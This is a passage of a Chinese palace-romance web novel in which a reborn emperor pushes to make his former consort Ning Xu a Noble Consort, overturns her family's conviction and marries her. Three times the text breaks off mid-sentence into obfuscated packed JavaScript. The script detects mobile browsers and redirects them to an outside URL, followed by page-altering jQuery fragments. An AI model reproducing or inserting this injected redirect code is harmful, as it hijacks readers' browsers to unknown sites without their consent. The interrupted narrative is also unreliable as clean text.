但他有一样本事出类拔萃，他抓形态抓得极准，尤为擅长画眼睛。 是以宁絮随意扫视某张画像，都感觉画像上的人也在看着自己。 她不自在地撇开目光。 幸好石虔没让她对画像发表什么感想，她还真放不出半个屁，只想把它们撕了或者烧了。 他打开靠右的第一间柜子，从底部拿出一只玉镯：“三娘，手伸过来。” 宁絮打心底里不爱听他这么叫，但御书房就他们两个人，她不能装死，只得听他的话。 这玉镯套在她手腕上了，她才觉得眼熟。定睛一看，似乎是她坠湖那天留下的。镯子上有一道墨绿的纹路，很特别，她印象颇深。 “它运气还行，沉在水底，也没有被石头磕碰碎了。”石虔捧着她的腕子端详，在深绿色美玉的衬托下，她腕间肌肤白皙如雪，甚是优美。 不过她只有这一截能看，多看一眼她的手掌，眼睛就要进碎石砾，硌得生疼。 她掌心好几个茧子，指节也比世家小姐凸出，整只手摸上去疙里疙瘩，一看即知没少干糙活儿。 这样的手戴着玉镯，未免有些玷污了美玉。 她早些年习武训练，在外奔波，也摧残了手。后来被封为御女，位分不高，但不用卖力做事了，手就逐渐养得光滑细腻。虽然比不得世家小姐，大面上也还过得去。 出宫摸爬滚打两年，这双手算是成了后宫标准下的废手。邓皇后当时没顾得上仔细感受，再给她一次机会让她摸一下，保准在背地里嘲笑，这和癞蛤蟆的背有什么分别。 她抽回手，将玉镯摘下，交还给石虔：“这太贵重了，恕民女不能接受。这么好的镯子，陛下应当赠与皇后娘娘或贵妃娘娘才是。” 石虔嘴巴抿成一条线，又把她手拽过来，再套回去。 真要论材质，这只玉镯在宫中排不上号。宁絮不是没见过好东西，她掂量得出这只玉镯的斤两。 他知道她怨他。 也确实该怨。他明明早就决定了要对她好，结果连她的吃穿用度也没有好好置办，镯子都没给个最贵的。 “哪里的话，这不贵重，你先将就着戴。改日朕送你羊脂白玉的，那种才配得上你。” 宁絮这次没有推辞，收下后就要告退：“谢陛下恩典。御书房重地，民女呆得够久了，唯恐管不住眼睛，看见不该看见的，给陛下添麻烦。还是先走一步了。” “三娘，你就不想问一下，朕是怎么找到这只镯子的？” 宁絮对此并无兴趣。他是皇上，手下有那么多人可供差遣，想在湖里找东西，虽然艰辛，却不是不可能做到。 横竖不是他亲力亲为，他又没有潜入水里，在一株株水草间翻找。他只能转述别人的辛劳，这样的故事有什么值得她听的？ 但，他是皇上。她只道：“陛下若是愿意说，民女洗耳恭听，这是民女的荣幸。” 他便讲了。他是如何大病一场，又是如何成日守在湖边，看着水工抽水的。 说到动情之处，难免潸然泪下。 “你是真的狠心啊，三娘，你就只给朕留了这个镯子，还有半截钗子。朕当真……那时候当真以为你尸骨无存了……” 他这会儿顾不得体面，衣袖一挥，眼泪直接揩在龙袍上。 “你既然回来了，镯子合该物归原主。总是留在朕这里，朕心里不踏实，怕如今的一切都是幻觉，你根本就没有再出现过，全是朕的臆想……” 宁絮静静地听着，脚步没有往门边挪，对石虔的泪水也无动于衷。等他止住了哭腔，她才轻柔地问道：“陛下，民女不懂。” “不懂什么？”他道。 “您所说的这位三娘，走了便走了，您究竟为何放不下呢？天下美人供您采撷，只要您乐意，大可以将她们全都收入后宫。” “民女以为，这位三娘再怎样天姿国色，也着实不值得让您牵肠挂肚至此。您何不多看看身边的嫔妃，她们何尝不年轻貌美，又是那样热切地崇拜着您。” 这一席话说完，她垂下头去，恢复了方才的谨慎：“民女口无遮拦，愿陛下恕罪。” “不，”石虔果断道，“三娘和她们都不一样。这世上没有女人能取代她。” 他像是下了很大的决心，一口气深深地吸入肚腹，又缓缓吐出，心脏也被这口气托到了嗓子眼，等他一张嘴，就迫不及待要跃到宁絮手上，叫她看看它是如何律动的。 “朕也是阳寿已尽之时，才想通这件事。” 往日的细枝末节刹那间串在一起，宁絮心底终于通透了。 她该想到的，既然她能死而复生，他为何不能？ 只是她那时太自信，以为自己一定能摆脱他，这辈子不再相见，因而就算有狐疑之处，也懒得顺藤摸瓜。 他沉不住气，率先交了底，她就有了波澜不惊的资格：“陛下千万不要这样说，不吉利。陛下合该万寿无疆，阳寿永远用不完。” “倘若朕告诉你，这是真事呢？”他按了按额角，语气生涩，“朕真的死过一次了，兴许是执念未散，阎王爷也不肯收，又放朕回来了。” “三娘，朕知道你一贯理智，对鬼神之事不大相信。但有些事情的确不可理喻，信或不信，它就这么发生了。” “朕算不上短命鬼，可也没有活太久，后半辈子索然无味，也没个能说得上知心话的人。临到要走了，发现最割舍不下的人还是你。” “可惜明白得太迟了，你已经走了很多年了。” 石虔正值盛年，面容尚且青春，此刻声音却尽显苍老和疲惫。宁絮顺着他的眉目走向，竭力想象他老去后的模样，然而他的形象总是捉摸不定。 她死得太早，在短短二十几年里，没见到过几个风烛残年的老人。 “恕民女冒昧，三娘是几时不在了的？” “很年轻的时候。”石虔凝视着她，“比你现在还要年轻。” 宁絮叹了口气：“兴许这就是红颜薄命，陛下看开些吧。民女也见过很多家庭的悲剧，孩子还没来得及长大就因为这样那样的意外，不在了。除了想开，别无他法。” “拿孩子作比可能不大恰当，孩子之于家庭，应当比三娘之于您要重要些。但孩子没了，他们伤心难过一阵，又会再生。贴心的美人没了，更可以再找，相伴久了，总能培养出默契。” “你还是不明白！”石虔忽而激动起来，“你是真的不明白吗？” “老天都看不过眼，重新给朕一次机会，就是为了让朕留住你，弥补这份遗憾。朕如何能像你说的那样，去随随便便找些新的美人来？” “天下之大，美人之多，但朕的三娘只有一个。” 宁絮唇角微微勾起：“陛下，人的寿数是恒定的，到了该死的时候，谁也挽留不住。三娘是如何不在的？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362037|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这个问题打在石虔的死穴上，他脸唰的白了，半天才支支吾吾道：“她是病逝的……” “这儿是皇宫，天底下最好的医师都在，救不回来的话，便是命该如此了。陛下宽心，三娘九泉之下知道您这般惦念她，一定心怀感激。” 石虔痛苦难当，抓住她双手：“三娘，朕往日忽视了你，是朕的不对。朕预备补报你的，你就不要再往朕的心上插刀子了，好不好？” 宁絮本不想与他有过多的纠葛，他的心思，她是半点不想管。但他这般死皮赖脸，她甩不脱，于是打算细细地磨他一磨。 毕竟他当年也没少折磨她，他主动递了刀子亮了软肋，她凭什么不能以牙还牙？ 她咬得还不如他十分之一狠呢。 “陛下，民女以为，您是自己困住了自己。人生漫长几十载，三娘都没了多少年了，您才突然发觉她重要，那就说明，她其实没有那么重要。” 所谓男儿有泪不轻弹，只是他们加价码的说辞。石虔的眼泪分量几何，宁絮都不需要伸手接，就能测出来。 顶天了，有点点的一片羽毛那么重。 当了皇帝的人，什么都有了，没有的，天下人也会想方设法给他送。为了一个早死的弃妃悲痛欲绝，滑稽到像是戏台上演出来的。 还是最流俗的故事，最劣质的演法，看客非但不会给赏钱，还要喝倒彩，丢泥巴。 他心里的难受都写在脸上，确实不似作假，但落在她眼里，则轻飘如柳絮，随便吹一口气就四散纷飞，找不见了。 石虔太久没有向人解释什么事情，都是人家对他解释，因而他解释起来，格外笨嘴拙舌。 “不是的，朕是被蒙了眼，年轻时辨不出孰轻孰重，真正不久于人世了，才看得清自己的心。” 嘴皮子不利索，他干脆上手，将她抱了个满怀。高她一头的人，脸埋在她肩头蹭了蹭，无比依恋，生怕被她推开似的。 “三娘，朕想你了，朕真的放不下你。” 宁絮双臂垂下，并未反手回抱他。 闻言她既不谢恩也不自贬，在他耳边温柔道：“陛下放不下的不是民女，也不是三娘，是十几岁的好时光。” 同为死而复生之人，她深有体会。 死期将至，身体衰竭，动也动不了，吃也吃不下，天地失色日月无光。什么奇珍异宝美酒佳肴，都没法让人好受一星半点。 出气多进气少的人，最渴望的还是青春年少的身躯。年轻时过得再苦，遭了再多的罪，总归有一身使不完的牛劲，舌头也灵敏，吃个馍馍都能品出几分甜。 “陛下，人不可能一辈子都是十几岁，那几年过了就是过了，不会再来。您抓着那段时期陪在您身边的人，也没有用，时移事迁，人也不是原来的人了。” 她想自己是不是把石虔惯坏了，即位之后，更有官员、后妃、百姓一起惯着，让他飘飘然，不自量力了。 他现在比黄口小儿还不如，就知道无理取闹，试图用眼泪和哀求换得一些本就不属于他的东西。 “朕不会放手的，只要能留得住你，朕就不算白活一趟，对得起老天给的第二次机会。” “三娘，你相信朕一次，朕对你父亲和哥哥发过誓，这辈子什么都不要了，只要你，只对你好。你且瞧着，朕绝不是拿誓言不当回事的小人。” 宁絮无可奈何地由他抱着，视线越过他的头，盯着墙壁上的画像放空。 此刻她说什么都是白费口舌。 30. 贵妃 石虔这回动了真格。 对宁絮的位分，他大手一挥，宣称要封她为贵妃。 消息一出，后宫如滴了冷水的油锅，又沸又炸。 邓筠做了皇后，就很少失态了，她治理后宫的手腕算不得高明，花架子总还能端得住。 这是她封后以来，第一次直白地否决石虔：“陛下，此事未有先例，怕是不能服众。这位郑氏女，一来身无所长，二来娘家无功勋，甚至都不知道她这个郑家究竟是个什么家庭。” “您真的喜欢她，可以先赐一个低一些的位分，待遇跟上，然后慢慢找机会给她升上去。哪儿有一来就是贵妃的，这不是寒了大家的心吗？” 后宫等级虽不如前朝那么严，但不代表可以随便乱来。皇上由着自己的喜好，提拔一个身份背景不详的民女做贵妃，完全是乱了规矩，让恪守本分的嫔妃，以及她们背后的家族作何感想？ 石虔听到所谓的郑氏女就烦，呛了她一句：“皇后，朕怎么不知道你患了眼疾？你看看清楚，这不是宁絮又是谁？朕年少时，少不得她的支持，让她当贵妃有何不可？” 邓筠一双手几乎把手绢绞碎：“好，陛下，这是宁絮。既然她没死，那她就是私自逃出宫了，这事儿闹得人尽皆知，您要封她为贵妃，保准有人跳出来追究她的罪责，到时您要如何圆过去？” 石虔还真没想得这么远。 他上辈子对其他事没有太多的遗憾，就算偶有波折，没影响大局。臣子忠心，儿子废物，又没有其他兄弟觊觎皇位，在旁人眼里就是舒舒服服过完了一生，是最好命的那一类皇帝。 别的地方太完满，只缺了宁絮那一角，这个空缺就变得尤为碍眼，怎么着也要想办法填补上，补不上就难受得抓心挠肝。 经邓筠这么一提醒，他才意识到，自己轴得有些过分了。总不能把另一处完好无缺的地方敲碎了，去弥补这处的缺憾。 连邓筠这种意气用事的女人，都能反过来告知他利害关系。看来宁絮离开的那两年，真把他脑子搅成一团糊了。 等攻陷了她，他得叫她补偿自己。 他想着那场面，脸上泛起笑意，对邓筠也温和许多：“皇后说的是，朕武断了。” 邓筠长舒一口气，以为石虔准备从长计议了。 不料他又道：“朕再去想想，有什么办法能堵得住他们的嘴，让这事名正言顺。不会拖太久，你可以先把封妃相关事宜安排起来了。” 邓筠张了张嘴，欲哭无泪：“陛下，这——” 石虔没有给她说下去的机会：“你只管操办就是了，朕也不会亏待了你。她封顶只是贵妃了，横竖越不过你。你都有皓儿了，别想七想八的。” 这是他派来的定心丸，但看他走火入魔的样子，她这颗心怎么也不能安定。 他现在是信誓旦旦，保证宁絮的位分在她之下。天长日久，万一他二人的感情并未变淡，而宁絮又诞下皇子，很多事情就不好说了。 真是该死，她原以为从民间找来几个长得跟宁絮相似的姑娘，让他玩一阵，他就满足了，不再想这事了。 所有人都是这么想的。 谁能想到，找来一个跟本尊几乎毫无二致的，彻底迷了他心窍。 新入宫的这位，究竟是不是宁絮本人，在邓筠看来已经不重要了。她的意见从来无关紧要，陛下说是，那就是。 陛下要捧她，想把她踩下去，只有两个办法。 一是发动朝臣，团结起来，软硬兼施。石虔再独断，也不至于为了一个女人得罪这么多臣子。 二就是抹杀宁絮这个人，让此人永远消失。 她刚冒出第二个念头，就打了个寒噤。 她不是没有用过特殊手段，在她还是邓贵妃的时候，就处理过违逆了石虔心意的妃子。 人总是会得病的，病来如山倒，御医也来不及救。 或者一时粗心，跌落深井。 她做这一切，无不是悄无声息又名正言顺。 但，这建立在石虔默许的基础上。 她是娇纵甚至狂妄了些，可没忘了父亲的教诲。 父亲在她进宫前千叮万嘱，平常撒娇耍赖无伤大雅，在大事上一定要揣摩圣意。但凡嗅到陛下的一丝不情愿，就不可出手。 她要处置宁絮，且不说宁絮有没有本事反击，若是让石虔看到了，以他眼下这股狂热劲儿，必定不会给她好果子吃。 而且宁絮要是真没了，焉知他会不会再疯一次？前两年已经把她折腾得够呛，再来一遭她可挺不住了。 能用的只有第一招，但她掌管后宫，手伸不到前朝。 思前想后，只得坐下修了一封家书，交给内监，拜托他们送往丞相府。 她的家书写得含蓄而隐晦，全篇只聊生活上的趣事，仅有一处闲笔，提及新来的妹妹深受喜爱。 每一封要送出宫的书信都需要经过审核，她的也不例外。早年她写的信被打回来好几次，碰壁多了，慢慢就知道什么能写什么不能写。 她有把握，这封信能过关。 到了父亲手里，他读完了，自然明白她的意思。 然而一个月过去，没听到朝臣有消息，倒是石虔，又吩咐她做事了。 他要她与陵寝工部协调时间，尽快赶制一批金银器出来。 她应下，又问他，为何平白急着要新的供品。 石虔也不瞒她：“这些金银器是要给宁絮父兄的，他们含冤而死，如今查明真相，合该得到补偿。” 邓筠呆呆地看着他：“啊？” 他见了她这个傻愣愣的表情，当即笑了。 宁絮听到这件事情时，脸上的表情跟她的一模一样。她俩的头脑性情天壤之别，能同时露出这种痴傻的神色，也算难得。 不过宁絮的反应要比她快得多了，立刻反问他，真相是何时查明的，能拿出什么证据。 问完后她自知失态，又找补道：“陛下休要误会，民女只是对这位三娘，及其家族往事，有些好奇罢了。” 石虔对她这副强行嘴硬的样子已经不再生气了，她现在翻不出他手掌心，故而他看她就跟看小猫小狗似的，连警惕和呲牙都可爱。 “好，你只是好奇。”他顺着她的话说，语气宠溺，“能翻案，还是你的功劳呢。” “陛下可别拿民女寻开心了，民女又不是手眼通天的大人物，这么了不得的事情，民女可做不来。” “怎么做不来？你瞒着所有人，偷偷出宫调查此事，在民间蛰伏两年，终于找到蛛丝马迹，上报朝廷。” “为父兄鸣冤，还忠臣清白，忠孝两全，当重赏。即便嫔妃出宫，有违宫规，也是情有可原，功大于过。” 说罢，石虔冲她眨眨眼。 宁絮回过味来了：“重赏？赏什么？” “赐贵妃之位，不为过。” 他在这儿等着她呢！ 宁絮千言万语堵在嗓子眼，最后只迸出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379028|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句话：“陛下，您不要太荒唐了！” 父亲当年是着了小人的道，被指控贪污受贿，数额之大，到了有谋逆之嫌的地步，抄家问斩一个不落。 彼时她年纪尚小，对其中细节一无所知。年岁渐长，再去回忆当年的一切，就意识到里面有鬼。 她当然明白，父兄待她好，不代表他们就是清白的。但整个过程太快了，快到根本没有详尽调查的时间。 从抄家到入狱再到斩首，不足五日就大功告成。而在此之前，并无任何预兆，府上开销未有变化，父兄也照常行事。 就算是手上有几条命的流寇被逮着了，要审讯，要画押，要收监，最后才是处决，依照正常流程，需一月打底。 这么复杂的罪名，倒是五日就请算了，实在不合常理。 此事她后来与石虔商量过，他亦认为宁家是遭人陷害。 奈何时机已过，有可能对宁家下黑手的几位，全都跟错了主子。大局已定，石虔即位，那时他们早就不在人世，家族也随之凋敝，因而难以追究。 历朝历代的冤假错案都不少，背后缘由各异，想真相大白何其困难。石虔轻飘飘几句话，就在功劳簿上写满她的名字，当那么多臣子是瞎的？ 他早料到她的质疑，漫不经心地甩出应对之法：“三娘用不着思虑这许多，证据朕自会备好，令他们无从反驳。你只需要在旁配合，给些反应就足够了。” “朕给你铺一条路，你闭着眼睛往前走都摔不了，再不会让你吃苦受累受委屈。” 翠微阁没有拉帘子，午后的阳光透进来，打在石虔的龙袍上，亮烈的明黄光斑蹦来跳去，游走在龙纹之间，刺得宁絮眼睛生疼。 他没有夸口，他真能把康庄大道接到她脚边，她要是不乐意自己走，他还能喊人抬着她走。 做皇帝的，爱怎么任性都成。 当初先皇只动动耳朵，听了底下人的禀报，就给她一家定了罪，让她自此沉沦苦海，万劫不复。 如今新帝再动动手指，她全家又从罪人变贤臣，她更成了功臣，咸鱼翻身，扶摇直上。 先皇的决定尚不能用草率二字盖棺论定。要么是国库空虚，急需银两填充，要么是杀鸡儆猴，平衡各方势力。 而石虔甚至给不出一个像样的理由，不图实际利益，只为一己私欲，在她看来更为骇人。 他拉着她，拉着所有朝臣和后妃，圆自己上辈子临死前的夙愿。可圆了之后呢？ 焉知他哪天又回忆往事，再打捞出一桩遗憾，拉着天下人陪他耍儿戏。 画像寻人的两年里，多少心怀不轨的官差，打着皇命的幌子残害姑娘。他一无所知，每天端坐御书房，画他那些没用的破画，对着笔墨自哀自怜，俨然是天底下最痴情的男人。 宁絮喉咙一阵阵发紧，盯着跃动在龙袍上的光斑，盼望日头再猛烈些，最好能让它烧起来，火焰顺着龙纹席卷石虔周身，他的权柄他的欲念连带他这个人，统统灰飞烟灭。 天公不作美，太阳移了位，屋内一下暗淡下来。石虔见她身子无端颤抖，而且抖得越来越厉害，也不管什么权威和礼法，解开龙袍就披在她身上。 他去握她手，摸到一手的冷汗，关切道：“可是身上突然冷得厉害？不舒服了？朕叫人宣御医！” 宁絮咬着牙根，勉强笑道：“不用麻烦他们，民女一会儿就好了。” 她定了定神，不忘回应他：“民女愿意配合，听凭陛下安排。” 31. 平反 石虔听罢喜笑颜开，隔日便将一套完整的说辞整理好了，派人交到她手上。 从大理寺到县衙，全都疏通完毕，不需要她操半点心，她当好一个木偶人足矣。 翻案那日，宁絮第一次正大光明走到前朝，面对各级官员。依然是老面孔占大多数，忌惮过她又瞧不上她，看她坐在石虔身侧，一张张老脸就不自觉地扭曲变形。 她说话的时候，有人蠢蠢欲动，急不可待要反驳，想找到她的漏洞，把她摁下去，叫她从此出不了头。 但石虔一眼扫过去，也没怎样威胁，甚至眉头都没带皱一下的，那人自己就怂了。 剩下的人神色不虞，对呈现出来的证据和结果，显然不能算是心服口服。可也没有当场拍桌子与陛下呛声的。 倒不是所有人都怕石虔，像邓丞相这种老臣，岁数和资历都立得住，年轻的天子真要做了扰乱大局的蠢事，他们就真敢拍案而起，劝不服他，能一头撞死在梁柱上。 他们还能坐得住，只是因为事态没到火急火燎的地步。 宁絮和他们一样，对此心里门清。 她身后没有别的人了，为她家洗冤只是石虔一时兴起，说得不好听一点，昏君博美人一笑罢了，并未出现其他势力借题发挥。 皇上提携一个女人，本质是看中了她的母族。母族既然死绝，她本人则不足为惧。 一个赤手空拳的女人，再怎么会吹枕边风，亦或身怀绝技，全没用。纵有天大的才华和本事，也跳不出后宫那一亩三分地。 何况石虔昏头也昏得不那么彻底。他刻意提及，贵妃之位除了作补偿之用，亦是为了给忠臣之后一个保障，免得让某些不长眼的怠慢了去。 这话里有一丝示弱的意味，官衔稍低一些的人，恐怕都听不出来。 宁絮在宫里过得苦呀，一个没看住，什么阿猫阿狗都来欺负。给个高点的位分，也不求别的，就是震慑一下那些势利眼，别老在背地里搞小动作。 至于位分有没有可能更进一步……卑微到这份上了，贵妃即是封顶，往后陛下的喜爱淡下来，位分不降已是万幸，难道还真让她当皇后吗？ 哪怕为了这个空有其名的贵妃，陛下也大费周章，该走的过场都走了，各方的面子给足，并没有仅凭自己的喜好做事。 这会儿轮到他们给陛下面子了，他们自然不能掉链子。心里骂两句祸水妖姬，挡了他们姐妹女儿的道，面上还是要奉承的。 宁絮听着他们抑扬顿挫、慷慨激昂的恭维，觉得很滑稽。 周旋在明月楼的恩客之间，强忍恶心任人侮辱的时候，她幻想过有朝一日父兄能够平反，她也可以脱离此处，过上正常姑娘该过的日子。 提着一口气帮石虔打天下的时候，她同样想过，等尘埃落定，自己就可以分出心神，对这桩陈年旧案抽丝剥茧，让父兄得以安息。 她自认没有孝顺到奋不顾身的程度，也不是冷心冷肺的恶人。 他们的夸赞和贬损都太过不切实际，离皇上太近了，眼里就看不到人，血肉之躯七情六欲，皆是符号。 她看他们也一样。 石虔听得满意了，大手轻轻覆在她手背上。宁絮知道，她若在此刻抬头，定能看见他眼中得色。 他在对她邀功，要她承情。这是至关重要的最后一环。 她在大事上违逆不了他，小事上就偏偏不让他如意。她要做他鞋里的小石子儿，不能绊他一跤，起码也得硌他一硌。 宁絮没有将眼光投向他，也不反手与他十指相扣。她百无聊赖地望着别处，半道上和邓丞相视线相撞。 他眼中带着深深的探究意味。 宁絮不怵他，直直地盯回去，邓丞相讲究体面，即刻转头与边上人聊公事。 对手无心恋战，她也只能撤退。 论辈分，邓丞相算叔伯那一辈，父亲还在世的话，就与他差不多年纪。 宁絮年纪尚小时，对这种男人还抱有幻想，觉得他们和父亲相似，家里也有姑娘，推己及人，对其他姑娘也会温和有礼。 进明月楼摸爬滚打不足半年，她就体会到自己之前有多天真。再怎么宝贝家里的姑娘，不妨碍他们对外面的姑娘下毒手。 邓丞相对她未有逾矩之行，与她说话也不带轻浮之意。饶是如此，她依旧很难信得过他。 她见识过他是如何宠爱邓筠的。老谋深算的男人，对不聪明的女儿视作掌上明珠，尽力托举扶持，一腔爱意倾注在自家人身上，待外人必定极尽狠辣。 她另一只没被石虔握住的手，暗暗捏作拳头。这阵子要提防邓筠了，虽然邓筠本人是个草包，但背后有个厉害的爹，指不定会给她支什么招。 石虔没从她身上得到想要的，有点失落，但他也算学乖了，克制着没有发火。散场后，他搂着她问道：“三娘，你现在也是官家小姐了，小姐出嫁是个什么流程，可还记得？” 宁絮颌首低眉：“谢陛下抬爱，但恕民女驽钝，民女对此一概不知。” 石虔话茬递不出去，额角青筋都快绷出来了，不过还是好声好气道：“咱俩要成亲了，你对婚仪可有什么想法？” “民女愿一切从简。” 办得太铺排了，浪费银两。她是见识过人间疾苦的，有这个钱，不如发给需要救助的百姓，再少干些劳民伤财的事。 再者，她也不想大张旗鼓，一次见那么多人，繁文缛节一大堆，委实头疼。 她这一解释，才熄灭了石虔喷到嘴边的那团火。对她的前一个理由，他是半点没听进去，只将后一个理由放在心上。 “这么说，三娘更乐意和朕私下独处？也好，朕这就告知皇后，叫她不必费那许多心思了，咱们按照民间嫁娶那一套来办。” “不过封妃典礼还是一步都不能落，否则名不正言不顺，往后你要受人为难的。” 宁絮心不在焉地听着，反正她是任他摆布的，他征求她的意见，也无非是让他自己心安，这样他就可以劝服自己：他真的在补偿她。 她对这场婚仪抱着得过且过的态度，红盖头一戴，就当自己什么都看不见。 按他的这套嫁娶仪式，倒是给宁絮又抬了一层待遇。三跪三拜，分明是娶正妻的派头，就连当年迎娶邓筠，也没这样的大礼。 盖因此次声势和排场没有那么大，这才堵住邓筠的嘴，令她闹腾不起来。 他没请其他宾客，独独请了项志。女子嫁人，该由兄弟背出家门，宁絮没有兄弟了，石虔便想由项志当一回她的兄弟，不然这仪式就不算圆满。 项志起初一脸为难：“我是宁絮的小叔子才对呀，叔叔背着嫂嫂出门，这不全乱套了嘛！” 石虔笑道：“咱们三人是什么关系，还存在乱套这一说么？你当年脑子缺根筋一样，不懂看人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15388563|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼色，每次朕和宁絮幽会，你都要跟在后边，还争着要东西吃。朕作势要揍你，你就往宁絮身后躲。” “你在她面前，可不就是个傻乎乎的弟弟。送她过门，也是理所应当。” 项志没有马上应下，而是转向宁絮，问道：“陛下说得在理。我自然是乐意之至，就看你是怎么想的了。” 击鼓传花呢。宁絮撇了撇嘴：“民女没有意见，能有项将军这般出息的弟弟，是民女高攀了。” 此番阴阳怪气，令石虔脸上有些挂不住。他忍了又忍，腮帮子快咬出血了，终于还是拍了桌子：“三娘，你别成天明褒暗贬的，哪里不满意趁早说出来。” 宁絮扫了项志一眼，飞快地低下头去：“民女并非不满，只是见了项将军，忽然想到一件没做完的事情。” “你说。”石虔压着怒火，勉力冲她笑一笑。大婚在即，年少时的诺言即将履行，若非万不得已，他是不愿对她甩脸子的。 君子一言，驷马难追。他又是皇上，还有一言九鼎的压力。当初跪在她父兄墓前发誓，这辈子要珍惜她，虽然无人监督，可她父兄的牌位还摆在那儿呢。 宁絮清了清嗓子：“陛下与项将军的庆功宴，叫了民女来。就是民女进宫那日，陛下还有印象么？” “当时陛下说要彻查民女在宫外的生活，项将军自告奋勇，接下了这项任务。如今可查出什么来了？民女心想，这事在婚仪之前，还是需要有个说法。倘使真有什么，取消婚仪比来日休弃要方便些。” 电光石火间，石虔可算意识到，她为何一直别别扭扭的，不肯给个好脸。 她心里记恨他呢，他不信任她，还当着老友的面给她难堪。 他悔得肠子都青了，期期艾艾道：“唉……不是，朕那是气话！你的秉性朕还不知道吗，绝不是胡来的那种人。” “君无戏言，气话亦是真话，是命令，想来项将军没有不遵守的道理。” 话头到了项志这儿，他便捡起来接下去：“实不相瞒，臣的确走访了鹤城，找当地人探听了消息。前些日子告假，正是为了此事，当时还在路上，快马加鞭赶回来的。” “宁絮在鹤城这两年，过得很安分，隐姓埋名，在一家客栈打下手。客栈老板赞她手脚麻利，省心，朝廷的人找上门，老板还挺舍不得放她走的。” 察觉到石虔的眼色，他特意补充道：“老板是个上了年纪的妇人，丈夫早已走了。她没有再嫁，就守着这个店。店里的帮工，除了宁絮，还有另一位姑娘。她们是母女，都姓郑。” 从始至终没出现别的男人。宁絮改姓郑也不难猜测原因，她是逃出去的，没有身份，跟着老板姓，还可以套个老板夫家亲戚的名头。 石虔脸上有点烧，他那天还泼了宁絮一身的酒，属实是冤枉好人了。 “这郑氏母女也算三娘半个娘家人了，听上去她们对三娘还不赖。忙过了这段时间，朕带三娘去鹤城探望她们吧，就当回门。” 宁絮一惊，欲出言制止，项志先她一步，阻断了石虔的念头。 “老太太年纪大了，身子没那么硬朗，支撑客栈已经费了不少心力。陛下就别上门了，免得惊吓了她们。” “她们过得很好，陛下无需记挂。” 话是对石虔说的，他眼睛却瞟向宁絮。他们的目光蜻蜓点水般碰了一瞬，随即就像两团火星，各自飞溅到别处。 32. 新娘子 知道诗诗和秋霞境况安好，宁絮暂且放了心，脸色也和缓了。 她虽然还是探不清楚项志的用意，但目前为止，他的确站在她这一边，帮了她不止一次了。 有这样一位隐秘的外援在，她尽量劝说自己，不要绷得像惊弓之鸟。她在石虔面前，有时候拼尽全力也克制不住脾气，容易逞一时之快。 石虔又是道歉又是献殷勤，她便也顺坡下驴，说了几句好话。她还要跟他共同生活很长一段时间，三年五载也说不定，把他得罪得太狠，耗干了他仅有的愧疚，未必是好事。 婚仪当日，按照先前商量的，项志作为她的娘家人，将她背出了翠微阁。宁絮蒙着红盖头，看不到外面的光景，但觉这一切荒谬十足。 父兄的牌位又不在翠微阁，于情于理这里不能算是她的娘家。婚仪过后，她作为嫔妃，还是要继续住在这儿。这一套流程，越发的显得莫名其妙。 晚云和翠柳搀着她，送她上了项志的背。项志的肩有她的两倍宽，背更是厚实，两条粗壮的胳膊再一托，她就像趴伏在窝里的幼鸟，想翻出去都需要些能耐。 从翠微阁卧房到门口的花轿，不足十步。在这并不长的一段路上，宁絮附在项志耳边轻声道：“多谢。” 紧接着她腿上传来痒意。 项志用指甲快速写了一些东西。她屏息凝神，记下了笔划，在上花轿的时候辨别出他的意思。 已派人。 短短数秒，传达不出太多的消息。派的什么人，派去哪儿了，作何用处，统统没数。 总之不会是今夜派人把她从石虔的洞房里劫走。 宁絮端坐轿中，按捺下心中焦躁。主动权不在她手上，她除了耐心等待，别无他法。 真要她配合着做什么，想必项志会想别的法子知会她。 到了太和殿，就是拜天地拜高堂。宁絮看不见，全凭边上的人指引。 不知这高堂是怎么个拜法？他俩都没有爹娘和其他长辈了。 可别是把先皇的牌位和她父亲的牌位并列在一块儿。这场面想想就诡异，还有点晦气。 她对先皇谈不上有刻骨的仇恨，他离她太远了。就算后来石虔被认作七皇子，她跟随身后，时而能见到他，他也还是一个高高在上遥不可及的人物，她的恨无法落到实处。 但叫她认他作公爹，让父亲和他并排，做了鬼也要当亲家，这事就像喝尿一样了，闭眼闷头喝，一开始还好，后面越回味越臊臭。 幸而红盖头障目，看不见就当没发生。有时候须得自欺，不然活得难受。 夫妻对拜完，礼成。 她听见项志边拍巴掌边祝他们百年好合，声音激动得打颤。 直起身的一刹那，她忽而感到一股暖流。 石虔笑得开怀：“你小子后边儿是不是还漏了一句什么？” 项志顿了一下，恍然大悟：“早生贵子！对，陛下和娘娘早生贵子。” “好！承贤弟吉言。孩子生下来了，认你为干爹！” 